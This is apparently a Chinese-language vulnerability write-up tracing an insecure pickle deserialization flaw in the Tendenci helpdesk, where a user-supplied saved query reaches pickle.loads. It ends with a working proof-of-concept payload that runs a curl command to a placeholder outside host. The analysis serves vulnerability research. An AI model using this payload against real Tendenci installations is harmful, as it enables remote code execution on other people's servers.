反序列化

来自一个开源协会管理系统,文件tendenci\apps\helpdesk\views\staff.py

def ticket_list(request):
    context = {}
    ......
    if request.GET.get('saved_query', None):
            from_saved_query = True
            try:
                saved_query = SavedSearch.objects.get(pk=request.GET.get('saved_query'))
            except SavedSearch.DoesNotExist:
                return HttpResponseRedirect(reverse('helpdesk_list'))
            if not (saved_query.shared or saved_query.user == request.user):
                return HttpResponseRedirect(reverse('helpdesk_list'))

            import pickle
            from base64 import b64decode
            query_params = pickle.loads(b64decode(str(saved_query.query).encode()))
        elif not (  'queue' in request.GET
                or  'assigned_to' in request.GET
                or  'status' in request.GET
                or  'q' in request.GET
                or  'sort' in request.GET
                or  'sortreverse' in request.GET
                    ):

从上面代码看出,这是一个从views中获取参数saved_query,通过id判断请求的用户和数据所属用户身份,正确后反序列化其中的query值,那么这个数据库是如下,保存的是一个文本字段。

class SavedSearch(models.Model):
	......
	query = models.TextField(
        _('Search Query'),
        help_text=_('Pickled query object. Be wary changing this.'),
        )

如何去处理这个字段的值,在上个文件中,找到保存的处理方法。从post中获取query_encoded,判断不为空则直接保存进数据库。

def save_query(request):
    title = request.POST.get('title', None)
    shared = request.POST.get('shared', False) in ['on', 'True', True, 'TRUE']
    query_encoded = request.POST.get('query_encoded', None)

    if not title or not query_encoded:
        return HttpResponseRedirect(reverse('helpdesk_list'))

    query = SavedSearch(title=title, shared=shared, query=query_encoded, user=request.user)
    query.save()

那么如何调用的,同样去搜索关键词save_query找到路由,找到对应的name为helpdesk_savequery,找到对应的前端表单

<form method='post' action='{% url 'helpdesk_savequery' %}'>
    <input type='hidden' name='query_encoded' value='{{ urlsafe_query }}' />
    <dl>
        <dt><label for='id_title'>{% trans "Query Name" %}</label></dt>
        <dd><input type='text' name='title' id='id_title' /></dd>
        <dd class='form_help_text'>{% trans "This name appears in the drop-down list of saved queries. If you share your query, other users will see this name, so choose something clear and descriptive!" %}</dd>

        <dt><label for='id_shared'>{% trans "Shared?" %}</label></dt>
        <dd><input type='checkbox' name='shared' id='id_shared' /> {% trans "Yes, share this query with other users." %}</dd>
        <dd class='form_help_text'>{% trans "If you share this query, it will be visible by <em>all</em> other logged-in users." %}</dd>

    </dl>

    <div class='buttons'>
        <input class="btn btn-primary" type='submit' value='{% trans "Save Query" %}'>
    </div>

    {% csrf_token %}</form>

从表单中可以看到,query_encoded是模板写入,找到urlsafe_query看是如何调用的,从调用结果看,就知道是后台先去序列化然后赋值给模板,前端模板操作的时候,再把这个序列化的值传入后台中去反序列化。

......
    import pickle
    from base64 import b64encode
    urlsafe_query = b64encode(pickle.dumps(query_params)).decode()

尝试构造一个反序列化的poc

import pickle,os
from base64 import b64encode

class exp(object):
    def __reduce__(self):
        return (os.system,('curl http://xxxx/py',))
e = exp()
b64encode(pickle.dumps(e))




# python  

tocToc: